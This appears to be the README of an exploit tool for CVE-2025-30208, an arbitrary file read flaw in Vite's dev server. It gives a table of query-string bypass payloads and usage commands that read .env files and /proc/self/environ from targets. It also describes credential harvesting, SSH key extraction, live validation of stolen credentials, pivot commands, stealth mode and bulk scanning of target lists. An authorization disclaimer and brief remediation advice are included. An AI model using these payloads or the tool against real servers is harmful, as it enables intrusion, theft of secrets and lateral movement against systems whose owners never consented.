
Exploit scanner for CVE-2025-30208 (Vite arbitrary file read) with multi-variant bypass detection, credential harvesting, SSH key extraction, and structured reporting for authorized penetration testing.
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Severity: CVSS 5.3 Medium (network-accessible dev server)
⚠ For authorized security engagements only.
Unauthorized use against systems you do not own or have explicit written permission to test is illegal.
Vite's dev server allows serving arbitrary files from the host filesystem via /@fs/ requests.
A missing query-string sanitisation check in affected versions lets an attacker append specially crafted suffixes to bypass the allow-list and read any file the process can access — including .env files, SSH private keys, cloud credentials, and /proc entries.
| Branch | Last vulnerable | Patched |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| Name | Suffix / Query | Description |
|---|---|---|
raw?? | ?raw?? | Trailing ?? breaks rawRE |
import&raw?? | ?import&raw?? | ES module + raw combined |
raw? | ?raw? | Single trailing ? |
url&raw?? | ?url&raw?? | URL mode combined |
raw&url?? | ?raw&url?? | Reversed parameter order |
import&?raw | ?import&?raw | Malformed import prefix |
sec-fetch | ?raw + Sec-Fetch header | Browser script context |
raw-encoded | ?raw%3f%3f | URL-encoded separators |
double-slash | ?raw??/ | Double-slash suffix bypass (v5) |
pct-all | %3fraw%3f%3f | Fully percent-encoded query (v5) |
raw-hash | ?raw??# | Fragment anchor bypass (v5) |
wasm-init | ?inline=1.wasm?init | CVE-2025-31125 sibling (wasm init) |
pip install requests
# or
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| Flag | Default | Description |
|---|---|---|
-t/--target | — | Single target URL |
-l/--lists | — | File containing one target per line |
--stealth | off | Add random delays between requests |
--proxy | — | HTTP/HTTPS proxy (http://host:port) |
--timeout | 10 | Per-request timeout in seconds |
--verify | off | Enable TLS certificate verification |
--file | — | Read a specific path on the target host |
--save | — | Save --file content to a local path |
--full-chain | on | Run full exploitation chain (live validation is default) |
--output | — | Write JSON + Markdown report to this base path |
--workers | 10 | Parallel workers for bulk scan |
--ports | see below | Comma-separated ports to probe in bulk mode |
--no-color/--plain | off | Disable ANSI colour codes |
--safe-mode | off | Redact secret values in terminal output |
--show-secrets | off | Show full terminal secrets (overrides --safe-mode) |
--version | — | Print version and exit |
Default bulk-scan ports: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
When --output /tmp/report is specified the scanner writes:
/tmp/report.json — machine-readable structured findings/tmp/report.md — human-readable Markdown reportThe bulk scan always prints VULN_COUNT=N on the last line for easy shell scripting:
python main.py -l targets.txt | grep '^VULN_COUNT='
Single-target scans print SCAN_STATUS=VULNERABLE|NOT_VULNERABLE at the end for automation.
cve30208/
├── __init__.py — public API surface
├── __main__.py — python -m cve30208 entry point
├── constants.py — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan constants
├── ui.py — ANSI colour codes, Spin/NullSpin, terminal helpers
├── utils.py — shared helpers (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (live credential validation)
│ includes a check registry for easier extension
├── report.py — save_report(), make_md()
└── scanner.py — FR/R dataclasses, Scanner, bulk_scan(), main()
main.py — backwards-compatibility shim
requirements.txt
The scanner automatically suppresses repeated artefacts so that output stays
clean even when HOME equals /root or the same secret appears in multiple
files:
| Layer | Mechanism |
|---|---|
| Filesystem reads | stage_fs normalizes the SSH-key base list with dict.fromkeys and drops duplicate paths from the reads queue before any output is produced. |
| File saves | Scanner._save checks a per-scan _seen_file_paths set; duplicate paths return the already-stored FR without re-appending to r.files. |
| Secrets | Scanner._save deduplicates r.secrets globally by (name, value) across all files; within-file dedup is handled separately in scan_secrets. |
| SSH keys | stage_ssh collapses keys with the same PEM signature (first _PEM_SIG_LEN bytes) that appear across multiple source files. |
| Pivot commands | Pivot blocks are keyed by (key_source, host, port); identical combinations are printed only once. |
The summary line reports how many files, secrets, and SSH keys were suppressed as duplicates, e.g.:
deduped 2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates
--host 0.0.0.0 on untrusted networks..env files and remove unnecessary secrets from the project.This tool is provided for authorized penetration testing and security research only.
By using this tool you agree that you have explicit written authorization to test the target systems.
The authors accept no liability for any misuse or damage caused by this software.
CVE-2025-30208 PoC v5